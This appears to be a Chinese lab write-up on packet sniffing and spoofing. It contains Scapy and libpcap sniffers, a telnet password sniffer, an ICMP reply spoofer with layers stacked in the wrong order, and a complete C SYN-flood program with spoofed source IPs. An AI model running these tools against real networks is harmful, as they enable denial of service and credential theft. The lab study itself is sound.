使用下面的命令构建容器
dcbuild # alias for docker-compose build
使用下面的命令启动容器
dcup # alias for docker-compose up
这将创建这样一个网络拓扑结构
在这个实验中,攻击者需要能够嗅探数据包,但在容器内运行嗅探程序会有问题,因为容器实际上连接到一个虚拟交换机,所以它只能看到自己的流量,无法看到其他容器之间的数据包。为了解决这个问题,我们在攻击者容器中使用主机模式(host mode)。
在主机模式下,容器与宿主机共享网络命名空间,容器将使用宿主机的网络栈,而不是独立的网络栈。这意味着容器可以直接访问宿主机的网络接口,包括所有进入和离开宿主机的流量。
通过将攻击者容器设置为主机模式,攻击者容器就可以看到所有通过宿主机的网络接口传输的流量,包括其他容器之间的流量。这样,攻击者就能够嗅探和分析整个网络上的数据包,而不仅限于自己容器的流量。
network_mode: host
接下来查看网卡的信息,使用docker network ls
查看Docker主机上当前存在的所有网络。
seed@VM:~$ docker network ls
NETWORK ID NAME DRIVER SCOPE
# 略
0d32c54e0d4e net-10.9.0.0 bridge local
# 略
使用ifconfig
查看对应的网络接口信息,MAC地址为02:42:97:2b:75:8f
,网段为10.9.0.0/24
。
seed@VM:~$ ifconfig
br-0d32c54e0d4e: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.9.0.1 netmask 255.255.255.0 broadcast 10.9.0.255
inet6 fe80::42:97ff:fe2b:758f prefixlen 64 scopeid 0x20<link>
ether 02:42:97:2b:75:8f txqueuelen 0 (Ethernet)
RX packets 0 bytes 0 (0.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 52 bytes 6005 (6.0 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# 略
Scapy是一个强大的Python库,用于网络数据包嗅探、发送和欺骗。它提供了丰富的功能和灵活的接口,使得它不仅可以作为一个独立的工具使用,而且可以作为构建其他数据包嗅探和欺骗工具的基础。
运行下面的示例代码,创建一个默认的IP数据包,并通过调用show()
方法来显示该数据包的详细信息。
# view mycode.py
#!/usr/bin/env python3
from scapy.all import *
a = IP()
a.show()
seed@VM:~/.../volumes$ sudo python3 mycode.py
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = hopopt
chksum = None
src = 127.0.0.1
dst = 127.0.0.1
\options \
这段示例代码使用了Scapy库来进行数据包嗅探,并指定了过滤条件为仅捕获ICMP类型的数据包。
#!/usr/bin/env python3
from scapy.all import *
def print_pkt(pkt):
pkt.show()
# 绑定网络接口,
# filter参数指定要过滤的数据包类型(这里是ICMP),
# prn参数指定每次捕获数据包时要调用的回调函数(这里是print_pkt函数)
pkt = sniff(iface='br-0d32c54e0d4e', filter='icmp', prn=print_pkt)
如果要同时捕获多个网络接口的数据包
iface=['br-0d32c54e0d4e', 'ens33']
pkt = sniff(iface=iface, filter='icmp', prn=print_pkt)
运行示例代码,使用下面的命令向目标主机发送Ping报文,-I br-0d32c54e0d4e
参数指定使用网络接口br-0d32c54e0d4e
来发送ping请求。
ping -I br-0d32c54e0d4e 10.9.0.6
网卡捕获的数据包如下。
seed@VM:~/.../volumes$ sudo python3 mycode.py
###[ Ethernet ]###
dst = 02:42:0a:09:00:06
src = 02:42:97:2b:75:8f
type = IPv4
###[ IP ]###
version = 4
ihl = 5
tos = 0x0
len = 84
id = 61302
flags = DF
frag = 0
ttl = 64
proto = icmp
chksum = 0x371a
src = 10.9.0.1
dst = 10.9.0.6
\options \
###[ ICMP ]###
type = echo-request
code = 0
chksum = 0x27ed
id = 0x7
seq = 0x1
###[ Raw ]###
load = '\x14\xceZe\x00\x00\x00\x00\x9a\x04\x08\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !"#$%&\'()*+,-./01234567'
通常,在进行数据包嗅探时,我们只对特定类型的数据包感兴趣。通过在嗅探过程中设置过滤器。Scapy使用BPF(Berkeley Packet Filter)语法来设置过滤器。
以下是一些常见的BPF语法示例:
src host 10.9.0.1
:捕获源IP地址为10.9.0.1的数据包。dst host 10.9.0.6
:捕获目的IP地址为10.9.0.6的数据包。icmp
:捕获ICMP协议的数据包。tcp
:捕获TCP协议的数据包。udp
:捕获UDP协议的数据包。tcp dst port 80
:捕获目的端口号为80的TCP数据包。udp src port 53
:捕获源端口号为53的UDP数据包。src host 10.9.0.1 and tcp dst port 80
:捕获源IP地址为10.9.0.1且目的端口号为80的数据包。src host 10.9.0.1 or dst host 10.9.0.6
:捕获源IP地址为10.9.0.1或目的IP地址为10.9.0.6的数据包。编写下面的代码,自己构造一个ICMP数据包。代码中创建了一个IP数据包和一个ICMP数据包,并将它们组合在一起形成一个完整的数据包。然后使用show()
方法显示数据包的详细信息,并使用send()
方法发送数据包。
#!/usr/bin/env python3
from scapy.all import *
ip_packet = IP()
ip_packet.dst = '10.0.2.3'
icmp_packet = ICMP()
pakcet = ip_packet/icmp_packet
pakcet.show()
send(pakcet)
然后使用tcpdump监听发送ICMP数据包的网络接口
sudo tcpdump -i enp0s3 host 10.0.2.15 and icmp
运行上面的示例代码,构造的数据包如下。源IP地址为10.0.2.15,目的IP地址为10.0.2.3,ICMP数据包的类型是echo-request
,代表一个ICMP回显请求(Ping请求)。
###[ IP ]###
version = 4
ihl = None
tos = 0x0
len = None
id = 1
flags =
frag = 0
ttl = 64
proto = icmp
chksum = None
src = 10.0.2.15
dst = 10.0.2.3
\options \
###[ ICMP ]###
type = echo-request
code = 0
chksum = None
id = 0x0
seq = 0x0
可知在抓包期间,从主机发送了一个ICMP回显请求到10.0.2.3主机,然后10.0.2.3主机回复了一个ICMP回显回复。
traceroute是一种网络诊断工具,用于确定数据包从源主机到目标主机的路径。它通过发送一系列的数据包,并观察每个数据包经过的路由器,从而揭示了数据包在网络中的传输路径。
traceroute的工作原理如下:
ICMP Time Exceeded
错误消息。ICMP Echo Reply
消息,表示数据包已成功到达。通过重复上述过程,traceroute就能够逐步确定数据包经过的路由器,并测量每个跳的往返时间(RTT)。通过分析这些信息,可以获得从源主机到目标主机的完整路径以及每个跳的延迟。
我们可以使用scapy编写一个简单的traceroute程序,如下所示。我们构造TTL从1到MAX_HOPS的ICMP报文,并使用sr1发送数据包并获取回复,response.type
是用于访问ICMP回复数据包的类型字段,以下是一些常见的ICMP回复数据包类型字段及其释义:
因此当response.type == 0
说明数据包到达了目的地,否则说明为中间路由器的响应,如果response为空则说明未收到数据包。
#!/usr/bin/env python3
from scapy.all import *
import sys
def traceroute(dst_ip, max_hops):
ttl = 1
while ttl <= max_hops:
# 构造ip报文
ip_packet = IP()
ip_packet.dst = dst_ip
ip_packet.ttl = ttl
# icmp报文
icmp_packet = ICMP()
pakcet = ip_packet/icmp_packet
# 发送数据包
response = sr1(pakcet, verbose=False, timeout=1)
if response is None:
# 未收到回复,打印超时信息
print(f"{ttl}. * * *")
elif response.type == 0:
# 收到目标主机的回复,打印信息并退出循环
print(f"{ttl}. {response.src}")
break
else:
# 收到中间路由器的回复,打印信息
print(f"{ttl}. {response.src}")
# 增加ttl
ttl += 1
# 获取命令行参数
dst_ip = sys.argv[1]
max_hops = int(sys.argv[2])
traceroute(dst_ip, max_hops)
运行这段代码,设置目的地址为43.138.70.209
,MAX_HOPS为30。
sudo python3 trace.py 43.138.70.209 30
结果如下所示,经过15跳后到达目的地址。
1. 10.0.2.2
2. * * *
3. * * *
4. 202.115.39.197
5. 202.115.39.205
6. * * *
7. * * *
8. 202.115.255.214
9. * * *
10. 101.4.112.17
11. * * *
12. 219.224.103.65
13. 101.4.130.106
14. * * *
15. 43.138.70.209
要求我们编写一个程序,嗅探局域网中的所有ICMP回显请求(不论目标主机是不是我们本身),然后对发送ICMP回显的主机发送一个ICMP回显回复进行ICMP欺骗。
首先测试ping以下三个地址,前两个无法ping通,最后一个可以ping通。
编写下面的程序并运行
# !/usr/bin/env python3
from scapy.all import *
# 欺骗
def spoof_icmp_echo(packet):
# 构造IP数据包
ip_packet = IP()
ip_packet.src=packet[IP].dst
ip_packet.dst=packet[IP].src
icmp_packet = ICMP()
icmp_packet.type='echo-reply'
icmp_packet.id=packet[ICMP].id
icmp_packet.seq=packet[ICMP].seq
eth_packet = Ether()
eth_packet.src=packet['Ethernet'].dst
eth_packet.dst=packet['Ethernet'].src
packet = ip_packet / icmp_packet / eth_packet
print("ICMP Echo spoofing send from {} to {}".format(ip_packet.src, ip_packet.dst))
send(packet)
# 开始嗅探局域网中的数据包
sniff(filter = 'icmp[icmptype]=icmp-echo', prn = spoof_icmp_echo)
当ping其他主机时,结果如下所示。ttl=64的数据包为我们伪造的数据包,显示truncated表示输出被截断。(DUP!)
的出现表示某些ICMP回显请求数据包被重复接收了多次。
使用pcap库进行网络嗅探。回调函数got_packet
,用于处理捕获到的数据包。在main
函数中,打开了一个网络接口的pcap会话,指定了接口名为enp0s3
。编译了一个BPF过滤器,只捕获协议类型为ICMP的IP数据包。
#include <pcap.h>
#include <stdio.h>
#include <arpa/inet.h>
/* Ethernet header */
struct ethheader {
u_char ether_dhost[6]; /* destination host address */
u_char ether_shost[6]; /* source host address */
u_short ether_type; /* protocol type (IP, ARP, RARP, etc) */
};
/* IP Header */
struct ipheader {
unsigned char iph_ihl:4, //IP header length
iph_ver:4; //IP version
unsigned char iph_tos; //Type of service
unsigned short int iph_len; //IP Packet length (data + header)
unsigned short int iph_ident; //Identification
unsigned short int iph_flag:3, //Fragmentation flags
iph_offset:13; //Flags offset
unsigned char iph_ttl; //Time to Live
unsigned char iph_protocol; //Protocol type
unsigned short int iph_chksum; //IP datagram checksum
struct in_addr iph_sourceip; //Source IP address
struct in_addr iph_destip; //Destination IP address
};
void got_packet(u_char *args, const struct pcap_pkthdr *header,
const u_char *packet)
{
struct ethheader *eth = (struct ethheader *)packet;
if (ntohs(eth->ether_type) == 0x0800) { // 0x0800 is IP type
struct ipheader * ip = (struct ipheader *)
(packet + sizeof(struct ethheader));
printf(" From: %s\n", inet_ntoa(ip->iph_sourceip));
printf(" To: %s\n", inet_ntoa(ip->iph_destip));
/* determine protocol */
switch(ip->iph_protocol) {
case IPPROTO_TCP:
printf(" Protocol: TCP\n\n");
return;
case IPPROTO_UDP:
printf(" Protocol: UDP\n\n");
return;
case IPPROTO_ICMP:
printf(" Protocol: ICMP\n\n");
return;
default:
printf(" Protocol: others\n\n");
return;
}
}
}
int main()
{
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
// BPF过滤规则
char filter_exp[] = "ip proto icmp";
bpf_u_int32 net;
// Step 1: Open live pcap session on NIC with name enp0s3
handle = pcap_open_live("enp0s3", BUFSIZ, 1, 1000, errbuf);
printf("listening on network card, ret: %p...\n", handle);
// Step 2: Compile filter_exp into BPF psuedo-code
printf("try to compile filter...\n");
pcap_compile(handle, &fp, filter_exp, 0, net);
printf("try to set filter...\n");
pcap_setfilter(handle, &fp);
// Step 3: Capture packets
printf("start to sniff...\n");
pcap_loop(handle, -1, got_packet, NULL);
pcap_close(handle); //Close the handle
return 0;
}
编译运行结果如下
pcap_lookupdev()
:查找可用的网络接口。(可选)pcap_open_live()
:打开选择的网络接口以进行数据包捕获。pcap_compile()
:编译BPF(Berkeley Packet Filter)过滤器,用于选择特定类型的数据包。pcap_setfilter()
:设置捕获过滤器,以便仅捕获满足特定条件的数据包。pcap_loop()
:开始捕获数据包的循环。pcap_close()
:关闭捕获会话,释放资源。创建捕获数据包的句柄。这个句柄包含了与捕获会话相关的信息和状态,如网络接口、捕获过滤器等。
struct bpf_program
用于表示编译后的BPF(Berkeley Packet Filter)过滤器程序。BPF过滤器是一种用于选择特定类型的数据包的过滤器,可以用于在数据包捕获过程中进行数据包过滤。
pcap_t *handle;
char errbuf[PCAP_ERRBUF_SIZE];
struct bpf_program fp;
// BPF过滤规则
char filter_exp[] = "ip proto icmp";
打开一个网络接口并返回一个捕获会话的句柄,将其赋值给handle
。
// Step 1: Open live pcap session on NIC with name enp0s3
handle = pcap_open_live("enp0s3", BUFSIZ, 1, 1000, errbuf);
printf("listening on network card, ret: %p...\n", handle);
/*
这个函数的参数解释如下:
1、"enp0s3":要打开的网络接口的名称。这里使用了"enp0s3"作为示例接口名称,您可以根据实际情况替换为所需的网络接口名称。
2、BUFSIZ:捕获数据包时使用的缓冲区大小。BUFSIZ是一个预定义的常量,表示缓冲区的大小。
3、1:指定是否设置混杂模式。这里的1表示启用混杂模式,即在捕获数据包时,会接收到经过网络接口的所有数据包。
4、1000:设置超时值,指定在捕获数据包时等待的最长时间(以毫秒为单位)。
5、errbuf:用于存储错误消息的缓冲区。如果在打开网络接口时发生错误,错误消息将被写入到errbuf中。
*/
使用pcap_compile
编译过滤器表达式filter_exp
。handle
是之前打开的捕获会话句柄,&fp
是指向struct bpf_program
的指针,用于存储编译后的过滤器程序。filter_exp
是一个字符串,表示要应用于数据包捕获的过滤条件。0
表示不使用优化选项,net
是一个网络地址,用于确定过滤器表达式中的网络地址。pcap_setfilter(handle, &fp)
将编译后的过滤器程序fp
应用于捕获会话。
// Step 2: Compile filter_exp into BPF psuedo-code
printf("try to compile filter...\n");
pcap_compile(handle, &fp, filter_exp, 0, net);
printf("try to set filter...\n");
pcap_setfilter(handle, &fp);
使用pcap_loop
开始捕获,got_packet
是自定义的回调函数。-1
表示捕获无限数量的数据包,也可以指定一个正整数来限制捕获的数据包数量。
pcap_close
用于关闭捕获会话句柄,释放资源。
// Step 3: Capture packets
printf("start to sniff...\n");
pcap_loop(handle, -1, got_packet, NULL);
pcap_close(handle); //Close the handle
嗅探器程序需要root权限来访问和捕获网络数据包。这是因为网络接口通常是受保护的资源,只有特权用户才能直接访问它们。 下面三个操作都需要root权限
混杂模式允许网络接口在捕获数据包时接收经过该接口的所有数据包,而不仅仅是目标地址是本机的数据包。一般计算机网卡都工作在非混杂模式下,此时网卡只接受来自网络端口的目的地址指向自己的数据。当网卡工作在混杂模式下时,网卡将来自接口的所有数据都捕获并交给相应的驱动程序。
关于BPF的常用编写规则在Task 1.1B已经说过了
1、只捕获两个特定主机之间的ICMP包
假设捕获主机与默认网关10.0.2.2
之间的ICMP报文
(icmp and src host 10.0.2.15 and dst host 10.0.2.2) or
(icmp and src host 10.0.2.2 and dst host 10.0.2.15)
2、捕捉目的端口在10到100之间的TCP包
使用tcp协议和dst端口范围10-100的BPF过滤表达式如下:
tcp and dst portrange 10-100
Telnet协议采用明文传输,没有数据加密功能,所以会产生安全隐患:
拓扑结构
进入一个docker创建的虚拟host——10.9.0.5
中
seed@VM:~$ dockps
0cd29ef744b0 seed-attacker
e98890475512 hostB-10.9.0.6
1898eb81c8e4 hostA-10.9.0.5
seed@VM:~$ docker exec -it 1898eb81c8e4 bin/bash
root@1898eb81c8e4:/#
然后编写下面的代码,运行在IP地址为10.9.0.1
的网络接口上,监听目的端口为23的TCP报文(telnet使用23端口)
#!/usr/bin/python3
from scapy.all import *
def print_pkt(pkt):
if Raw in pkt:
print(pkt[Raw])
sniff(iface='br-0d32c54e0d4e', filter="tcp port 23", prn=print_pkt)
然后在docker容器中尝试远程登陆另一台主机10.9.0.6
观察嗅探程序的结果,在10.9.0.1
上运行的嗅探程序嗅探到了10.9.0.5
的登录到10.9.0.6
的数据报文,获得了登陆密码。
原始套接字(RAW SOCKET)允许应用程序直接访问网络协议栈(Protocol Stack)的底层功能,包括网络层(IP)、传输层(TCP、UDP)和其他协议。
通常情况下,应用程序使用高级套接字(如TCP套接字或UDP套接字)进行网络通信,这些套接字封装了底层的网络协议细节,提供了简化的接口供应用程序使用。然而,使用原始套接字,应用程序可以绕过这些封装,直接访问和操作网络协议栈中的原始数据。
IP报文的格式
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Version| IHL |Type of Service| Total Length |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Identification |Flags| Fragment Offset |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Time to Live | Protocol | Header Checksum |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source IP Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Destination IP Address |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
TCP报文的格式
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Source Port | Destination Port |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Sequence Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Acknowledgment Number |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Data | |U|A|P|R|S|F| |W|R|C|
| Offset| Res |R|C|S|S|Y|I| Window |E|C|R|
| | |G|K|H|T|N|N| |C|E|E|
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Urgent Pointer |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
可以使用原始套接字来实现伪造IP报文实现一个SYN-Flood攻击的程序。
在TCP三次握手过程中,客户端向服务器发送一个SYN(同步)包,服务器接收到后会返回一个SYN-ACK(同步-确认)包给客户端,然后等待客户端的确认(ACK)。攻击者使用伪造的源IP地址,向目标服务器发送大量的SYN包,但是不发送ACK包来完成三次握手。这些SYN包看起来像是来自合法的客户端,但实际上是攻击者伪造的。由于攻击者不发送ACK,这些半开放连接会一直保持在服务器上等待,消耗服务器的资源,造成DoS攻击。
定义TCP报头结构和伪报头结构。TCP伪报头(TCP Pseudo Header)是在进行TCP校验和计算时使用的辅助数据结构。它不是TCP报文段的一部分,而是用于计算校验和的数据。
#include <stdio.h>
#include <ctype.h>
#include <bits/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
#include <netdb.h>
#include <errno.h>
#include <stdlib.h>
#include <time.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
struct tcphdr
{
unsigned short sport; // 源端口
unsigned short dport; // 目标端口
unsigned int seq; // 序列号
unsigned int ack_seq; // 确认号
unsigned char len; // 首部长度
unsigned char flag; // 标志位
unsigned short win; // 窗口大小
unsigned short checksum; // 校验和
unsigned short urg; // 紧急指针
};
/**
* TCP伪头部包含了一些必要的信息,用于计算TCP校验和。
* 它通常由源IP地址、目的IP地址、保留字段、协议类型(TCP)和数据长度组成。
*/
struct pseudohdr
{
unsigned int saddr;
unsigned int daddr;
char zeros;
char protocol;
unsigned short length;
};
校验和计算的代码如下。将缓冲区中的每个16位字累加到checksum变量中,直到size变为1或0。然后,如果size不为0,说明还剩下一个字节没有累加到校验和中,将其加入checksum中。
接下来,如果checksum发生溢出(即高16位不为零),就将高16位和低16位相加,再加上高16位。这是为了确保校验和在溢出时仍然正确。
最后,将checksum取反并返回。
// 计算校验和
unsigned short
checksum(unsigned short *buffer, unsigned short size)
{
unsigned long checksum = 0;
// 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
while (size > 1)
{
checksum += *buffer++;
size -= sizeof(unsigned short);
}
// 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
if (size)
{
checksum += *(unsigned char *)buffer;
}
// 如果有溢出
while (checksum >> 16)
{
// 则将高16位与低16位相加
checksum = (checksum >> 16) + (checksum & 0xffff);
// 如果高16位非零,再加高16位
checksum += (checksum >> 16);
}
// 取反
return (unsigned short)(~checksum);
}
IP报头的初始化。设置版本、ihl、服务类型等等字段。
// 初始化ip头
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct tcphdr);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_TCP
ip->protocol = IPPROTO_TCP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}
初始化TCP报头以及伪报头的函数。使用rand生成一个随机数,并将其转换成网络字节序作为源IP,用于隐匿本机IP。TCP的flag字段设为0x02表示设置SYN。
// 初始化tcp头
void init_tcp_header(struct tcphdr *tcp, unsigned short dport)
{
// 生成随机端口
tcp->sport = htons(rand() % 16383 + 49152);
// 目的端口
tcp->dport = htons(dport);
// 随机生成一个序号,转化为网络字节顺序
tcp->seq = htonl(rand() % 90000000 + 2345);
// 将 ack_seq 字段初始化为 0,表示没有确认序列号
tcp->ack_seq = 0;
/**
* 计算 TCP 头部长度,使用 sizeof(struct tcphdr) / 4 计算出以 32 位字为单位的长度,
* 然后将其左移 4 位(相当于乘以 16),最后通过位或操作符 | 与 0 进行合并得到 len 字段
*/
tcp->len = (sizeof(struct tcphdr) / 4 << 4 | 0);
// 将 flag 设置 SYN 控制标志位
tcp->flag = 0x02;
// 设置窗口大小
tcp->win = htons(1024);
// 初始化校验和
tcp->checksum = 0;
// 将紧急指针 urg 初始化为 0,表示没有紧急数据
tcp->urg = 0;
}
// 初始化伪TCP头
void init_pseudo_header(struct pseudohdr *pseudo, unsigned int srcaddr,
unsigned int dstaddr)
{
pseudo->zeros = 0;
pseudo->protocol = IPPROTO_TCP;
pseudo->length = htons(sizeof(struct tcphdr));
pseudo->saddr = srcaddr;
pseudo->daddr = dstaddr;
}
下面这段代码构造了一个SYN数据包,计算IP校验和 利用TCP伪报头计算TCP校验和。然后将TCP和IP报头拼接成一个数据包。
// 构造syn数据包
int make_syn_packet(char *packet, int pkt_len, unsigned int daddr,
unsigned short dport)
{
char buf[100];
int len;
struct iphdr ip; // IP 头部
struct tcphdr tcp; // TCP 头部
struct pseudohdr pseudo; // TCP 伪头部
// 随机生成源地址
unsigned int saddr = rand();
// 长度设置为一个ip报头+tcp报头的长度
len = sizeof(ip) + sizeof(tcp);
// 初始化头部信息
init_ip_header(&ip, saddr, daddr);
init_tcp_header(&tcp, dport);
init_pseudo_header(&pseudo, saddr, daddr);
// 计算IP校验和
ip.check = checksum((u_short *)&ip, sizeof(ip));
bzero(buf, sizeof(buf));
// 复制TCP伪头部
memcpy(buf, &pseudo, sizeof(pseudo));
// 复制TCP头部
memcpy(buf + sizeof(pseudo), &tcp, sizeof(tcp));
// 计算TCP校验和
tcp.checksum = checksum((u_short *)buf, sizeof(pseudo) + sizeof(tcp));
bzero(packet, pkt_len);
// 填充ip报头
memcpy(packet, &ip, sizeof(ip));
// 填充tcp报头
memcpy(packet + sizeof(ip), &tcp, sizeof(tcp));
// 格式化输出消息
unsigned char *dbytes = (unsigned char *)&daddr;
unsigned char *sbytes = (unsigned char *)&saddr;
printf("send a syn packet from %u.%u.%u.%u to address %u.%u.%u.%u\n", sbytes[0], sbytes[1], sbytes[2], sbytes[3], dbytes[0], dbytes[1], dbytes[2], dbytes[3]);
return len;
}
通过调用socket函数创建一个原始套接字。AF_INET参数指定了使用IPv4协议,SOCK_RAW参数指定了套接字类型为原始套接字,IPPROTO_TCP参数指定了传输层协议为TCP。如果socket函数返回值为-1,表示创建套接字失败。
通过setsockopt函数设置套接字选项。setsockopt函数用于设置套接字的各种选项,这里使用IP_HDRINCL选项来告诉操作系统在发送数据时不自动添加IP头部。IP_HDRINCL选项的值为on。当IP_HDRINCL选项的值为非零时,表示应用程序将负责手动构建完整的IP头部,并将其附加到发送的数据中。这对于某些特定的网络编程需求非常有用,例如实现自定义的网络协议或与特定网络设备进行直接通信。通过将选项值设置为on,即使发送的数据中没有包含IP头部,操作系统也会将数据直接发送出去,而不会添加默认的IP头部。这样,应用程序就可以自行构建并添加完整的IP头部。
// 创建原始套接字
int make_raw_socket()
{
int fd;
int on = 1;
// 创建一个原始套接字
fd = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (fd == -1)
{
return -1;
}
// 设置需要手动构建IP头部
if (setsockopt(fd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0)
{
close(fd);
return -1;
}
return fd;
}
下面的代码设置目标主机的地址族、地址与端口。然后使用sendto函数将我们自己构造的SYN数据包通过创建的原始套接字发往目标地址。
// 发送syn数据包
int send_syn_packet(int sockfd, unsigned int addr, unsigned short port)
{
struct sockaddr_in skaddr;
// 数据包
char packet[256];
// 数据包长度
int pkt_len;
// 初始化
bzero(&skaddr, sizeof(skaddr));
// 设置目标地址
skaddr.sin_family = AF_INET;
skaddr.sin_port = htons(port);
skaddr.sin_addr.s_addr = addr;
// 创建一个syn数据包
pkt_len = make_syn_packet(packet, 256, addr, port);
// 发送syn数据包
return sendto(sockfd, packet, pkt_len, 0, (struct sockaddr *)&skaddr,
sizeof(struct sockaddr));
}
// 拼接上面的代码即可
int main(int argc, char *argv[])
{
unsigned int addr;
unsigned short port;
int sockfd;
if (argc < 3)
{
fprintf(stderr, "Usage: synflood <address> <port>\n");
exit(1);
}
// 获取地址和端口
addr = inet_addr(argv[1]);
port = atoi(argv[2]);
if (port < 0 || port > 65535)
{
fprintf(stderr, "Invalid destination port number: %s\n", argv[2]);
exit(1);
}
// 创建原始套接字
sockfd = make_raw_socket();
if (sockfd == -1)
{
fprintf(stderr, "Failed to make raw socket\n");
exit(1);
}
// 一直发送syn数据包
for (int i = 0; i > -1; i++)
{
sleep(1);
if (send_syn_packet(sockfd, addr, port) < 0)
{
fprintf(stderr, "Failed to send syn packet\n");
}
}
close(sockfd);
return 0;
}
首先使用python创建一个HTTP服务器并监听端口8000。
然后使用netstat -ntc监听该端口的连接情况
编译并运行syn泛洪攻击程序并设置目标为10.9.0.5:8000
查看运行结果,收到了大量的SYN建立连接请求。而且源IP也被隐藏了。
自己编写一个ping程序
定义了两个常量 ICMP_ECHO
和 ICMP_ECHOREPLY
,分别表示 ICMP 的 Echo 请求和 Echo 回复报文的类型值。定义了一个名为 icmpheader
的结构体,用于表示 ICMP 头部。
结构体成员的含义如下:
icmp_type
:ICMP 消息类型icmp_code
:错误码icmp_chksum
:ICMP 头部和数据的校验和icmp_id
:用于标识请求的 IDicmp_seq
:序列号#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#define ICMP_ECHO 8
#define ICMP_ECHOREPLY 0
/* ICMP Header */
struct icmpheader
{
unsigned char icmp_type; // ICMP message type
unsigned char icmp_code; // Error code
unsigned short int icmp_chksum; // Checksum for ICMP Header and data
unsigned short int icmp_id; // Used for identifying request
unsigned short int icmp_seq; // Sequence number
};
与Task2.2A相同
/**
* @brief 计算校验和
*
* @param buffer
* @param size
* @return unsigned short
*/
unsigned short checksum(unsigned short *buffer, unsigned short size)
{
unsigned long checksum = 0;
// 先将缓冲区中的每个16位字累加到 cksum 变量中,直到 size 变为1或0
while (size > 1)
{
checksum += *buffer++;
size -= sizeof(unsigned short);
}
// 如果 size 不为0,说明还剩下一个字节没有累加到校验和中,
if (size)
{
checksum += *(unsigned char *)buffer;
}
// 如果有溢出
while (checksum >> 16)
{
// 则将高16位与低16位相加
checksum = (checksum >> 16) + (checksum & 0xffff);
// 如果高16位非零,再加高16位
checksum += (checksum >> 16);
}
// 取反
return (unsigned short)(~checksum);
}
用于初始化 IP 头部和 ICMP 头部的字段。
/**
* @brief 初始化ip
*
* @param ip
* @param srcaddr
* @param dstaddr
*/
void init_ip_header(struct iphdr *ip, unsigned int srcaddr,
unsigned int dstaddr)
{
// 计算 IP 报头的总长度 len,包括 IP 头部和 TCP 头部的长度
int len = sizeof(struct iphdr) + sizeof(struct icmpheader);
// 设置 IP 版本和头部长度字段
ip->version = 4;
ip->ihl = 5;
// 设置服务类型字段 tos,此处设为 0。
ip->tos = 0;
// 设置总长度字段 total_len,使用 htons 函数将长度转换为网络字节序
ip->tot_len = htons(len);
// 设置标识字段
ip->id = 1;
// 设置标志字段 flags,这里设为 0x40,表示不分片
ip->frag_off = htons(0x4000);
// 设置生存时间字段 ttl
ip->ttl = 255;
// 设置协议字段 protocol,这里设为 IPPROTO_ICMP
ip->protocol = IPPROTO_ICMP;
// 初始化校验和
ip->check = 0;
ip->saddr = srcaddr; // 源IP地址
ip->daddr = dstaddr; // 目标IP地址
}
/**
